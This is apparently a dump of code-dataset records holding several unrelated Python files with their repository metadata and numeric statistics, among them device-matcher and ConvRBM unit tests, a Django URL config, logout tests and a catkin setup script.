self._CreateDeviceInfo('d3', 'run_target1', 'g2')]) matcher = command_task_matcher.CommandTaskMatcher(host) task = self._CreateCommandTask( '1', [[ datastore_entities.RunTarget( name='run_target1', device_attributes=[ datastore_entities.Attribute( name='device_serial', value='d3')] ) ]]) matched_devices = matcher.Match(task) self.assertEqual(1, len(matched_devices)) d = matched_devices[0] self.assertEqual('d3', d.device_serial) def testMatchType2Test(self): host = self._CreateHostInfo( [self._CreateDeviceInfo('d1', 'run_target1', 'g1'), self._CreateDeviceInfo('d2', 'run_target2', 'g1'), self._CreateDeviceInfo('d3', 'run_target1', 'g2')]) matcher = command_task_matcher.CommandTaskMatcher(host) task = self._CreateCommandTask( '1', [[datastore_entities.RunTarget(name='run_target1'), datastore_entities.RunTarget(name='run_target2')]]) matched_devices = matcher.Match(task) self.assertEqual(2, len(matched_devices)) d1 = matched_devices[0] d2 = matched_devices[1] self.assertEqual( set(['d1', 'd2']), set([d1.device_serial, d2.device_serial])) def testMatchType2Test_noMatch(self): host = self._CreateHostInfo( [self._CreateDeviceInfo('d1', 'run_target1', 'g1'), self._CreateDeviceInfo('d2', 'run_target2', 'g2')]) matcher = command_task_matcher.CommandTaskMatcher(host) task = self._CreateCommandTask( '1', [[datastore_entities.RunTarget(name='run_target1'), datastore_entities.RunTarget(name='run_target2')]]) matched_devices = matcher.Match(task) self.assertIsNone(matched_devices) def _CreateRunTargetRequirement(self, name, attributes=()): run_target_requirement = datastore_entities.RunTarget( name=name, device_attributes=[]) for attribute in attributes or []: run_target_requirement.device_attributes.append( datastore_entities.Attribute( name=attribute[0], value=attribute[1])) return run_target_requirement def testMatchType2Test_withDeviceAttribute(self): host = self._CreateHostInfo( [self._CreateDeviceInfo('d1', 'rt1', 'g1', sim_state='READY'), self._CreateDeviceInfo('d2', 'rt1', 'g1', sim_state='NONE'), self._CreateDeviceInfo('d3', 'rt1', 'g2', sim_state='READY'), self._CreateDeviceInfo('d4', 'rt1', 'g2', sim_state='READY'), ]) matcher = command_task_matcher.CommandTaskMatcher(host) task = self._CreateCommandTask( '1', [[self._CreateRunTargetRequirement('rt1', [('sim_state', 'READY')]), self._CreateRunTargetRequirement('rt1', [('sim_state', 'READY')])]]) matched_devices = matcher.Match(task) self.assertEqual(2, len(matched_devices)) d1 = matched_devices[0] d2 = matched_devices[1] self.assertEqual( set(['d3', 'd4']), set([d1.device_serial, d2.device_serial])) def testMatchType2Test_withDeviceAttribute_noMatch(self): host = self._CreateHostInfo( [self._CreateDeviceInfo('d1', 'rt1', 'g1', sim_state='READY'), self._CreateDeviceInfo('d2', 'rt1', 'g1', sim_state='NONE'), self._CreateDeviceInfo('d3', 'rt1', 'g2', sim_state='READY'), self._CreateDeviceInfo('d4', 'rt1', 'g2', sim_state='NONE'), ]) matcher = command_task_matcher.CommandTaskMatcher(host) task = self._CreateCommandTask( '1', [[self._CreateRunTargetRequirement('rt1', [('sim_state', 'READY')]), self._CreateRunTargetRequirement('rt1', [('sim_state', 'READY')])]]) matched_devices = matcher.Match(task) self.assertIsNone(matched_devices) def testMatchType3Test(self): host = self._CreateHostInfo( [self._CreateDeviceInfo('d1', 'run_target1', 'g1'), self._CreateDeviceInfo('d2', 'run_target2', 'g1'), self._CreateDeviceInfo('d3', 'run_target3', 'g2'), self._CreateDeviceInfo('d4', 'run_target4', 'g2')]) matcher = command_task_matcher.CommandTaskMatcher(host) task = self._CreateCommandTask( '1', [[datastore_entities.RunTarget(name='run_target1')], [datastore_entities.RunTarget(name='run_target3')]]) matched_devices = matcher.Match(task) self.assertEqual(2, len(matched_devices)) d1 = matched_devices[0] d2 = matched_devices[1] self.assertEqual( set(['d1', 'd3']), set([d1.device_serial, d2.device_serial])) def testMatchType3Test_exclusive(self): host = self._CreateHostInfo( [self._CreateDeviceInfo('d1', 'run_target1', 'g1'), self._CreateDeviceInfo('d2', 'run_target2', 'g1'), self._CreateDeviceInfo('d3', 'run_target3', 'g2'), self._CreateDeviceInfo('d4', 'run_target4', 'g2')]) matcher = command_task_matcher.CommandTaskMatcher(host) task = self._CreateCommandTask( '1', [[datastore_entities.RunTarget(name='run_target1')], [datastore_entities.RunTarget(name='run_target3')]]) matched_devices = matcher.Match(task) matcher.RemoveDeviceGroups(matched_devices) self.assertEqual(2, len(matched_devices)) d1 = matched_devices[0] d2 = matched_devices[1] self.assertEqual( set(['d1', 'd3']), set([d1.device_serial, d2.device_serial])) # task2 can not be matched because g1 is already in use. task2 = self._CreateCommandTask( '1', [[datastore_entities.RunTarget(name='run_target2')]]) matched_devices = matcher.Match(task2) self.assertIsNone(matched_devices) def testMatchType3Test_noMatch(self): host = self._CreateHostInfo( [self._CreateDeviceInfo('d1', 'run_target1', 'g1'), self._CreateDeviceInfo('d2', 'run_target2', 'g1'), self._CreateDeviceInfo('d3', 'run_target3', 'g2'), self._CreateDeviceInfo('d4', 'run_target4', 'g2')]) matcher = command_task_matcher.CommandTaskMatcher(host) task = self._CreateCommandTask( '1', [[datastore_entities.RunTarget(name='run_target1')], [datastore_entities.RunTarget(name='run_target2')]]) matched_devices = matcher.Match(task) self.assertIsNone(matched_devices) def testMatchType3Test_withDeviceAttribute(self): host = self._CreateHostInfo( [self._CreateDeviceInfo('d1', 'rt1', 'g1', sim_state='NONE'), self._CreateDeviceInfo('d2', 'rt1', 'g1', sim_state='READY'), self._CreateDeviceInfo('d3', 'rt1', 'g2', sim_state='NONE'), self._CreateDeviceInfo('d4', 'rt1', 'g2', sim_state='READY')]) matcher = command_task_matcher.CommandTaskMatcher(host) task = self._CreateCommandTask( '1', [[self._CreateRunTargetRequirement('rt1', [('sim_state', 'READY')])], [self._CreateRunTargetRequirement('rt1', [('sim_state', 'READY')])]]) matched_devices = matcher.Match(task) self.assertEqual(2, len(matched_devices)) d1 = matched_devices[0] d2 = matched_devices[1] self.assertEqual( set(['d2', 'd4']), set([d1.device_serial, d2.device_serial])) def testMatchType3Test_withDeviceAttribute_noMatch(self): host = self._CreateHostInfo( [self._CreateDeviceInfo('d1', 'rt1', 'g1', sim_state='NONE'), self._CreateDeviceInfo('d2', 'rt1', 'g1', sim_state='NONE'), self._CreateDeviceInfo('d3', 'rt1', 'g2', sim_state='NONE'), self._CreateDeviceInfo('d4', 'rt1', 'g2', sim_state='READY')]) matcher = command_task_matcher.CommandTaskMatcher(host) task = self._CreateCommandTask( '1', [[self._CreateRunTargetRequirement('rt1', [('sim_state', 'READY')])], [self._CreateRunTargetRequirement('rt1', [('sim_state', 'READY')])]]) matched_devices = matcher.Match(task) self.assertIsNone(matched_devices) def testRemoveDeviceGroups(self): host = self._CreateHostInfo( [self._CreateDeviceInfo('d1', 'run_target1', 'g1'), self._CreateDeviceInfo('d2', 'run_target2', 'g1'), self._CreateDeviceInfo('d3', 'run_target1', 'g2')]) matcher = command_task_matcher.CommandTaskMatcher(host) task = self._CreateCommandTask( '2', [[datastore_entities.RunTarget(name='run_target2')]]) matched_devices = matcher.Match(task) self.assertEqual(1, len(matched_devices)) d = matched_devices[0] matcher.RemoveDeviceGroups([d]) self.assertIsNone(matcher._groups.get('g1', None)) self.assertIsNone( matcher._run_target_index['run_target2'].get('d2', None)) # d1 is in the same group as d2, will be removed as well r1_devices = matcher._run_target_index['run_target1'] self.assertSetEqual( set(['d3']), set((s for s, _ in six.iteritems(r1_devices)))) def testRemoveDeviceGroups_multipleDevices(self): host = self._CreateHostInfo( [self._CreateDeviceInfo('d1', 'run_target1', 'g1'), self._CreateDeviceInfo('d2', 'run_target2', 'g1'), self._CreateDeviceInfo('d3', 'run_target3', 'g1'), self._CreateDeviceInfo('d4', 'run_target1', 'g2')]) matcher = command_task_matcher.CommandTaskMatcher(host) task = self._CreateCommandTask( '1', [[datastore_entities.RunTarget(name='run_target1'), datastore_entities.RunTarget(name='run_target2')]]) matched_devices = matcher.Match(task) self.assertEqual(2, len(matched_devices)) matcher.RemoveDeviceGroups(matched_devices) self.assertIsNone(matcher._groups.get('g1', None)) self.assertIsNone( matcher._run_target_index['run_target3'].get('d3', None)) r1_devices = matcher._run_target_index['run_target1'] self.assertSetEqual( set(['d4']), set((s for s, _ in six.iteritems(r1_devices)))) def testRemoveDeviceGroups_multipleGroups(self): host = self._CreateHostInfo( [self._CreateDeviceInfo('d1', 'run_target1', 'g1'), self._CreateDeviceInfo('d2', 'run_target2', 'g1'), self._CreateDeviceInfo('d3', 'run_target3', 'g2'), self._CreateDeviceInfo('d4', 'run_target4', 'g2')]) matcher = command_task_matcher.CommandTaskMatcher(host) task = self._CreateCommandTask( '1', [[datastore_entities.RunTarget(name='run_target1')], [datastore_entities.RunTarget(name='run_target3')]]) matched_devices = matcher.Match(task) self.assertEqual(2, len(matched_devices)) matcher.RemoveDeviceGroups(matched_devices) self.assertIsNone(matcher._groups.get('g1', None)) self.assertIsNone(matcher._groups.get('g2', None)) for devices in six.itervalues(matcher._run_target_index): self.assertEqual(0, len(devices)) def testGetRunTargets(self): host = self._CreateHostInfo( [self._CreateDeviceInfo('d1', 'run_target1', 'g1'), self._CreateDeviceInfo('d2', 'run_target2', 'g1'), self._CreateDeviceInfo('d3', 'run_target1', 'g2')]) matcher = command_task_matcher.CommandTaskMatcher(host) run_targets = matcher.GetRunTargets() self.assertSetEqual( set(['run_target1', 'run_target2']), set(run_targets)) def testMatchDeviceAttribute(self): device_attrs = {'sim_state': 'READY', 'battery_level': '75'} required_attr = datastore_entities.Attribute( name='sim_state', value='READY', operator='=') self.assertTrue( command_task_matcher._MatchDeviceAttribute(required_attr, device_attrs)) required_attr = datastore_entities.Attribute( name='sim_state', value='MISSING', operator='=') self.assertFalse( command_task_matcher._MatchDeviceAttribute(required_attr, device_attrs)) def testMatchDeviceAttribute_number(self): device_attrs = {'sim_state': 'READY', 'battery_level': '75'} required_attr = datastore_entities.Attribute( name='battery_level', value='60', operator='>') self.assertTrue( command_task_matcher._MatchDeviceAttribute(required_attr, device_attrs)) required_attr = datastore_entities.Attribute( name='battery_level', value='80', operator='>') self.assertFalse( command_task_matcher._MatchDeviceAttribute(required_attr, device_attrs)) def testMatchDeviceAttribute_noOperator(self): device_attrs = {'sim_state': 'READY', 'battery_level': '75'} required_attr = datastore_entities.Attribute( name='sim_state', value='READY') self.assertTrue( command_task_matcher._MatchDeviceAttribute(required_attr, device_attrs)) def testMatchDeviceAttribute_unknownNumberAttribute(self): device_attrs = {'sim_state': 'READY', 'battery_level': 'unknown'} required_attr = datastore_entities.Attribute( name='battery_level', value='60', operator='>') self.assertFalse( command_task_matcher._MatchDeviceAttribute(required_attr, device_attrs)) def testMatchDeviceAttribute_noAttribute(self): device_attrs = {'sim_state': 'READY'} required_attr = datastore_entities.Attribute( name='battery_level', value='60', operator='>') self.assertFalse( command_task_matcher._MatchDeviceAttribute(required_attr, device_attrs)) def testMatchDeviceAttribute_nonNumberCompare(self): device_attrs = {'attr1': 'abcd', 'battery_level': '75'} required_attr = datastore_entities.Attribute( name='attr1', value='ab', operator='>') self.assertTrue( command_task_matcher._MatchDeviceAttribute(required_attr, device_attrs)) required_attr = datastore_entities.Attribute( name='attr1', value='abcde', operator='>') self.assertFalse( command_task_matcher._MatchDeviceAttribute(required_attr, device_attrs)) if __name__ == '__main__': unittest.main()
41.578
80
0.672615
2,206
20,789
6.067543
0.100181
0.101606
0.043033
0.040792
0.766754
0.757863
0.742324
0.735226
0.729399
0.707434
0
0.02507
0.192217
20,789
499
81
41.661323
0.771988
0.046852
0
0.690141
0
0
0.097251
0
0
0
0
0
0.133803
1
0.07277
false
0
0.021127
0.004695
0.105634
0.002347
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
be03df32fb6a86eac83382b3bfea79f08a197396
122
py
Python
boa3_test/test_sc/built_in_methods_test/IsInstanceIntVariable.py
hal0x2328/neo3-boa
6825a3533384cb01660773050719402a9703065b
[ "Apache-2.0" ]
25
2020-07-22T19:37:43.000Z
2022-03-08T03:23:55.000Z
boa3_test/test_sc/built_in_methods_test/IsInstanceIntVariable.py
hal0x2328/neo3-boa
6825a3533384cb01660773050719402a9703065b
[ "Apache-2.0" ]
419
2020-04-23T17:48:14.000Z
2022-03-31T13:17:45.000Z
boa3_test/test_sc/built_in_methods_test/IsInstanceIntVariable.py
hal0x2328/neo3-boa
6825a3533384cb01660773050719402a9703065b
[ "Apache-2.0" ]
15
2020-05-21T21:54:24.000Z
2021-11-18T06:17:24.000Z
from typing import Any from boa3.builtin import public @public def Main(a: Any) -> bool: return isinstance(a, int)
13.555556
31
0.713115
19
122
4.578947
0.736842
0
0
0
0
0
0
0
0
0
0
0.010204
0.196721
122
8
32
15.25
0.877551
0
0
0
0
0
0
0
0
0
0
0
0
1
0.2
false
0
0.4
0.2
0.8
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
1
1
0
0
5
077053842d8b8c9059deb7eb8a2b1d05cccbee50
88
py
Python
maths2.py
pieleric/continuous-integration-with-python
698a23598e8d98bfeff981857b0c40d8d0b25bb3
[ "MIT" ]
null
null
null
maths2.py
pieleric/continuous-integration-with-python
698a23598e8d98bfeff981857b0c40d8d0b25bb3
[ "MIT" ]
null
null
null
maths2.py
pieleric/continuous-integration-with-python
698a23598e8d98bfeff981857b0c40d8d0b25bb3
[ "MIT" ]
1
2021-09-14T09:55:55.000Z
2021-09-14T09:55:55.000Z
def multiple(first,second): return first * second * 3 def add(x,y): return x+y
14.666667
29
0.636364
15
88
3.733333
0.6
0.392857
0
0
0
0
0
0
0
0
0
0.014925
0.238636
88
5
30
17.6
0.820896
0
0
0
0
0
0
0
0
0
0
0
0
1
0.5
false
0
0
0.5
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
5
0785c3fc2c1a41b58014881a23bd79d1b4d59aac
7,288
py
Python
tests/learnergy/models/bernoulli/test_conv_rbm.py
anukaal/learnergy
704fc2b3fcb80df41ed28d750dc4e6475df23315
[ "Apache-2.0" ]
39
2020-02-27T00:47:45.000Z
2022-03-28T14:57:26.000Z
tests/learnergy/models/bernoulli/test_conv_rbm.py
anukaal/learnergy
704fc2b3fcb80df41ed28d750dc4e6475df23315
[ "Apache-2.0" ]
5
2021-05-11T08:23:37.000Z
2022-01-20T12:50:59.000Z
tests/learnergy/models/bernoulli/test_conv_rbm.py
anukaal/learnergy
704fc2b3fcb80df41ed28d750dc4e6475df23315
[ "Apache-2.0" ]
6
2020-04-15T00:23:13.000Z
2022-01-29T16:22:05.000Z
import torch import torchvision from learnergy.models.bernoulli import conv_rbm def test_conv_rbm_visible_shape(): new_conv_rbm = conv_rbm.ConvRBM() assert new_conv_rbm.visible_shape == (28, 28) def test_conv_rbm_visible_shape_setter(): new_conv_rbm = conv_rbm.ConvRBM() try: new_conv_rbm.visible_shape = 'a' except: new_conv_rbm.visible_shape = (28, 28) assert new_conv_rbm.visible_shape == (28, 28) def test_conv_rbm_filter_shape(): new_conv_rbm = conv_rbm.ConvRBM() assert new_conv_rbm.filter_shape == (7, 7) def test_conv_rbm_filter_shape_setter(): new_conv_rbm = conv_rbm.ConvRBM() try: new_conv_rbm.filter_shape = 'a' except: new_conv_rbm.filter_shape = (7, 7) assert new_conv_rbm.filter_shape == (7, 7) def test_conv_rbm_hidden_shape(): new_conv_rbm = conv_rbm.ConvRBM() assert new_conv_rbm.hidden_shape == (22, 22) def test_conv_rbm_hidden_shape_setter(): new_conv_rbm = conv_rbm.ConvRBM() try: new_conv_rbm.hidden_shape = 'a' except: new_conv_rbm.hidden_shape = (22, 22) assert new_conv_rbm.hidden_shape == (22, 22) def test_conv_rbm_n_filters(): new_conv_rbm = conv_rbm.ConvRBM() assert new_conv_rbm.n_filters == 5 def test_conv_rbm_n_filters_setter(): new_conv_rbm = conv_rbm.ConvRBM() try: new_conv_rbm.n_filters = 'a' except: new_conv_rbm.n_filters = 1 assert new_conv_rbm.n_filters == 1 try: new_conv_rbm.n_filters = 0 except: new_conv_rbm.n_filters = 1 assert new_conv_rbm.n_filters == 1 def test_conv_rbm_n_channels(): new_conv_rbm = conv_rbm.ConvRBM() assert new_conv_rbm.n_channels == 1 def test_conv_rbm_n_channels_setter(): new_conv_rbm = conv_rbm.ConvRBM() try: new_conv_rbm.n_channels = 'a' except: new_conv_rbm.n_channels = 1 assert new_conv_rbm.n_channels == 1 try: new_conv_rbm.n_channels = 0 except: new_conv_rbm.n_channels = 1 assert new_conv_rbm.n_channels == 1 def test_conv_rbm_steps(): new_conv_rbm = conv_rbm.ConvRBM() assert new_conv_rbm.steps == 1 def test_conv_rbm_steps_setter(): new_conv_rbm = conv_rbm.ConvRBM() try: new_conv_rbm.steps = 'a' except: new_conv_rbm.steps = 1 assert new_conv_rbm.steps == 1 try: new_conv_rbm.steps = 0 except: new_conv_rbm.steps = 1 assert new_conv_rbm.steps == 1 def test_conv_rbm_lr(): new_conv_rbm = conv_rbm.ConvRBM() assert new_conv_rbm.lr == 0.1 def test_conv_rbm_lr_setter(): new_conv_rbm = conv_rbm.ConvRBM() try: new_conv_rbm.lr = 'a' except: new_conv_rbm.lr = 0.1 assert new_conv_rbm.lr == 0.1 try: new_conv_rbm.lr = -1 except: new_conv_rbm.lr = 0.1 assert new_conv_rbm.lr == 0.1 def test_conv_rbm_momentum(): new_conv_rbm = conv_rbm.ConvRBM() assert new_conv_rbm.momentum == 0 def test_conv_rbm_momentum_setter(): new_conv_rbm = conv_rbm.ConvRBM() try: new_conv_rbm.momentum = 'a' except: new_conv_rbm.momentum = 0.1 assert new_conv_rbm.momentum == 0.1 try: new_conv_rbm.momentum = -1 except: new_conv_rbm.momentum = 0.1 assert new_conv_rbm.momentum == 0.1 def test_conv_rbm_decay(): new_conv_rbm = conv_rbm.ConvRBM() assert new_conv_rbm.decay == 0 def test_conv_rbm_decay_setter(): new_conv_rbm = conv_rbm.ConvRBM() try: new_conv_rbm.decay = 'a' except: new_conv_rbm.decay = 0.1 assert new_conv_rbm.decay == 0.1 try: new_conv_rbm.decay = -1 except: new_conv_rbm.decay = 0.1 assert new_conv_rbm.decay == 0.1 def test_conv_rbm_W(): new_conv_rbm = conv_rbm.ConvRBM() assert new_conv_rbm.W.size(0) == 5 assert new_conv_rbm.W.size(1) == 1 assert new_conv_rbm.W.size(2) == 7 assert new_conv_rbm.W.size(3) == 7 def test_conv_rbm_W_setter(): new_conv_rbm = conv_rbm.ConvRBM() try: new_conv_rbm.W = 1 except: new_conv_rbm.W = torch.nn.Parameter(torch.randn(5, 1, 7, 7) * 0.01) assert new_conv_rbm.W.size(0) == 5 assert new_conv_rbm.W.size(1) == 1 assert new_conv_rbm.W.size(2) == 7 assert new_conv_rbm.W.size(3) == 7 def test_conv_rbm_a(): new_conv_rbm = conv_rbm.ConvRBM() assert new_conv_rbm.a.size(0) == 1 def test_conv_rbm_a_setter(): new_conv_rbm = conv_rbm.ConvRBM() try: new_conv_rbm.a = 1 except: new_conv_rbm.a = torch.nn.Parameter(torch.zeros(1)) assert new_conv_rbm.a.size(0) == 1 def test_conv_rbm_b(): new_conv_rbm = conv_rbm.ConvRBM() assert new_conv_rbm.b.size(0) == 5 def test_conv_rbm_b_setter(): new_conv_rbm = conv_rbm.ConvRBM() try: new_conv_rbm.b = 1 except: new_conv_rbm.b = torch.nn.Parameter(torch.zeros(5)) assert new_conv_rbm.b.size(0) == 5 def test_conv_rbm_optimizer(): new_conv_rbm = conv_rbm.ConvRBM() assert type(new_conv_rbm.optimizer).__name__ == 'SGD' def test_conv_rbm_optimizer_setter(): new_conv_rbm = conv_rbm.ConvRBM() try: new_conv_rbm.optimizer = 'OPT' except: new_conv_rbm.optimizer = torch.optim.SGD( new_conv_rbm.parameters(), lr=0.1) assert type(new_conv_rbm.optimizer).__name__ == 'SGD' def test_conv_rbm_hidden_sampling(): new_conv_rbm = conv_rbm.ConvRBM() v = torch.ones(5, 1, 7, 7) probs, states = new_conv_rbm.hidden_sampling(v) assert probs.size(1) == 5 assert states.size(1) == 5 def test_conv_rbm_visible_sampling(): new_conv_rbm = conv_rbm.ConvRBM() h = torch.ones(1, 5, 7, 7) probs, states = new_conv_rbm.visible_sampling(h) assert probs.size(1) == 1 assert states.size(1) == 1 def test_conv_rbm_energy(): new_conv_rbm = conv_rbm.ConvRBM() samples = torch.ones(5, 1, 7, 7) energy = new_conv_rbm.energy(samples) assert torch.mean(energy).detach().numpy() < 0 def test_conv_rbm_fit(): train = torchvision.datasets.KMNIST( root='./data', train=True, download=True, transform=torchvision.transforms.ToTensor()) new_conv_rbm = conv_rbm.ConvRBM(visible_shape=(28, 28), filter_shape=(1, 1), n_filters=1, n_channels=1, steps=1, learning_rate=0.01, momentum=0, decay=0, use_gpu=True) e = new_conv_rbm.fit(train, batch_size=128, epochs=1) assert e >= 0 def test_conv_rbm_reconstruct(): test = torchvision.datasets.KMNIST( root='./data', train=False, download=True, transform=torchvision.transforms.ToTensor()) new_conv_rbm = conv_rbm.ConvRBM(visible_shape=(28, 28), filter_shape=(1, 1), n_filters=1, n_channels=1, steps=1, learning_rate=0.01, momentum=0, decay=0, use_gpu=True) e, v = new_conv_rbm.reconstruct(test) assert e >= 0 assert v.size(1) == 1 assert v.size(2) == 28 assert v.size(3) == 28 def test_conv_rbm_forward(): new_conv_rbm = conv_rbm.ConvRBM() v = torch.ones(1, 1, 28, 28) probs = new_conv_rbm.forward(v) assert probs.size(1) == 5 assert probs.size(2) == 22 assert probs.size(3) == 22
21.063584
107
0.656833
1,168
7,288
3.72774
0.072774
0.289389
0.264125
0.132292
0.872072
0.790997
0.699587
0.638953
0.638953
0.623335
0
0.034661
0.232025
7,288
345
108
21.124638
0.743255
0
0
0.582938
0
0
0.004116
0
0
0
0
0
0.241706
1
0.151659
false
0
0.014218
0
0.165877
0
0
0
0
null
1
1
0
1
1
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
078ed549e2259569904245095b1af69c679cb486
334
py
Python
smartagent/urls.py
jamespacileo/django-smartagent
568a8843744b138199f72c14b68ed2f1ec841571
[ "MIT" ]
4
2015-06-30T11:24:14.000Z
2018-06-03T05:32:18.000Z
smartagent/urls.py
jamespacileo/django-smartagent
568a8843744b138199f72c14b68ed2f1ec841571
[ "MIT" ]
null
null
null
smartagent/urls.py
jamespacileo/django-smartagent
568a8843744b138199f72c14b68ed2f1ec841571
[ "MIT" ]
null
null
null
from django.conf.urls.defaults import * from smartagent.views import force_desktop_version, unforce_desktop_version urlpatterns = patterns('', url(r'^force_desktop_version/$', force_desktop_version, name="force_desktop_version"), url(r'^unforce_desktop_version/$', unforce_desktop_version, name="unforce_desktop_version"), )
41.75
96
0.802395
42
334
6
0.404762
0.444444
0.301587
0.222222
0.277778
0
0
0
0
0
0
0
0.083832
334
8
97
41.75
0.823529
0
0
0
0
0
0.280597
0.280597
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
5
079ceaaf6a894d8565cece0e7828f85a9d0ee94e
838
py
Python
tests/test_logout.py
javidgon/sharedcloud-cli
27eb21dab1e18148f5eb44fed148d4dc458c5a19
[ "MIT" ]
null
null
null
tests/test_logout.py
javidgon/sharedcloud-cli
27eb21dab1e18148f5eb44fed148d4dc458c5a19
[ "MIT" ]
null
null
null
tests/test_logout.py
javidgon/sharedcloud-cli
27eb21dab1e18148f5eb44fed148d4dc458c5a19
[ "MIT" ]
null
null
null
from tests.test_utils import TestWrapper # Workflow def test_user_logs_out_successfully(): account_uuid, email, username, password = TestWrapper.create_account_successfully() TestWrapper.login_successfully(username=username, password=password) TestWrapper.logout_successfully() TestWrapper.login_successfully(username=username, password=password) TestWrapper.delete_account_successfully() def test_user_gets_logout_automatically_after_account_deletion(): account_uuid, email, username, password = TestWrapper.create_account_successfully() TestWrapper.login_successfully(username=username, password=password) TestWrapper.delete_account_successfully() TestWrapper.logout_unsuccessfully() def test_user_gets_validation_error_if_he_is_already_logout(): TestWrapper.logout_unsuccessfully()
28.896552
87
0.825776
89
838
7.359551
0.359551
0.122137
0.050382
0.183206
0.627481
0.627481
0.627481
0.627481
0.627481
0.627481
0
0
0.105012
838
28
88
29.928571
0.873333
0.009547
0
0.642857
0
0
0
0
0
0
0
0
0
1
0.214286
true
0.357143
0.071429
0
0.285714
0
0
0
0
null
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
1
0
0
0
0
0
5
07e40dae26422e8c824b765b88aeff64b60d2141
288
py
Python
src/test/resources/loaderTestData/testcoverage/python_coverage/project/module2.py
jacksonpradolima/comfort
30b6d845716f9cd4ba8639b168a8520cb56c6f30
[ "Apache-2.0" ]
2
2020-05-25T15:19:57.000Z
2020-12-07T07:58:19.000Z
src/test/resources/loaderTestData/testcoverage/python_coverage/project/module2.py
jacksonpradolima/comfort
30b6d845716f9cd4ba8639b168a8520cb56c6f30
[ "Apache-2.0" ]
2
2020-05-25T16:44:15.000Z
2020-05-25T17:44:18.000Z
src/test/resources/loaderTestData/testcoverage/python_coverage/project/module2.py
jacksonpradolima/comfort
30b6d845716f9cd4ba8639b168a8520cb56c6f30
[ "Apache-2.0" ]
1
2020-05-25T16:44:57.000Z
2020-05-25T16:44:57.000Z
def new(a,b): return a - b def x(a,b): return a def y(z,t): return z(*t) def inModule2(a,b): return a+b def outerMethod(a,b): def innerMethod(a,b): if a < b: return a+b else: return a-b return innerMethod(a+2, b+4)
13.714286
32
0.493056
51
288
2.784314
0.313725
0.140845
0.28169
0.253521
0.253521
0.183099
0
0
0
0
0
0.016575
0.371528
288
20
33
14.4
0.767956
0
0
0.266667
0
0
0
0
0
0
0
0
0
1
0.4
false
0
0
0.266667
0.866667
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
5
580085548aa35cb03e7f24326f1b8ed24aea5bef
125
py
Python
6. Functions/6.2/6.2.3 Print any in function.py
ferrerinicolas/python_samples
107cead4fbee30b275a5e2be1257833129ce5e46
[ "MIT" ]
null
null
null
6. Functions/6.2/6.2.3 Print any in function.py
ferrerinicolas/python_samples
107cead4fbee30b275a5e2be1257833129ce5e46
[ "MIT" ]
null
null
null
6. Functions/6.2/6.2.3 Print any in function.py
ferrerinicolas/python_samples
107cead4fbee30b275a5e2be1257833129ce5e46
[ "MIT" ]
null
null
null
# This function takes a single parameter and prints it. def print_value(x): print(x) print_value(12) print_value("dog")
17.857143
55
0.736
21
125
4.238095
0.714286
0.337079
0
0
0
0
0
0
0
0
0
0.019048
0.16
125
7
56
17.857143
0.828571
0.424
0
0
0
0
0.042254
0
0
0
0
0
0
1
0.25
false
0
0
0
0.25
1
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
1
0
5
58013f44b69da47fef6349f2b3418d91f49bd9d4
97
py
Python
xclim/testing/tests/test_sdba/__init__.py
Ouranosinc/dcvar
0737c66a36f8969e7a17276990bc7e76f7b410c4
[ "Apache-2.0" ]
1
2018-08-20T16:36:40.000Z
2018-08-20T16:36:40.000Z
xclim/testing/tests/test_sdba/__init__.py
Ouranosinc/dcvar
0737c66a36f8969e7a17276990bc7e76f7b410c4
[ "Apache-2.0" ]
3
2018-08-23T13:25:47.000Z
2018-08-23T15:59:45.000Z
xclim/testing/tests/test_sdba/__init__.py
Ouranosinc/hailstorm
494c850164a9f553eeeba66c6cc90fe398eb2094
[ "Apache-2.0" ]
null
null
null
# noqa: D104 from __future__ import annotations from .diagnostics import * from .utils import *
16.166667
34
0.773196
12
97
5.916667
0.666667
0
0
0
0
0
0
0
0
0
0
0.037037
0.164948
97
5
35
19.4
0.839506
0.103093
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
5801c5f24194fb6d75f14f5a2086abb491e75d7f
438
py
Python
medusa_control/inner_loops_controllers/medusa_identification/setup.py
gshubham96/medusa_base
1f6e8776ac115951eea13d227ce8c370abd2ea0e
[ "MIT" ]
null
null
null
medusa_control/inner_loops_controllers/medusa_identification/setup.py
gshubham96/medusa_base
1f6e8776ac115951eea13d227ce8c370abd2ea0e
[ "MIT" ]
1
2022-02-21T16:50:47.000Z
2022-02-21T16:50:47.000Z
medusa_control/inner_loops_controllers/medusa_identification/setup.py
gshubham96/medusa_base
1f6e8776ac115951eea13d227ce8c370abd2ea0e
[ "MIT" ]
2
2022-02-02T11:00:14.000Z
2022-03-01T08:42:05.000Z
#!/usr/bin/env python from distutils.core import setup from catkin_pkg.python_setup import generate_distutils_setup # for your packages to be recognized by python d = generate_distutils_setup( packages=['medusa_identification_algorithms', 'medusa_identification_ros'], package_dir={'medusa_identification_algorithms': 'src/medusa_identification_algorithms', 'medusa_identification_ros': 'src/medusa_identification_ros'} ) setup(**d)
33.692308
151
0.828767
55
438
6.254545
0.490909
0.348837
0.261628
0.209302
0.30814
0.30814
0
0
0
0
0
0
0.079909
438
12
152
36.5
0.853598
0.148402
0
0
1
0
0.48248
0.48248
0
0
0
0
0
1
0
false
0
0.285714
0
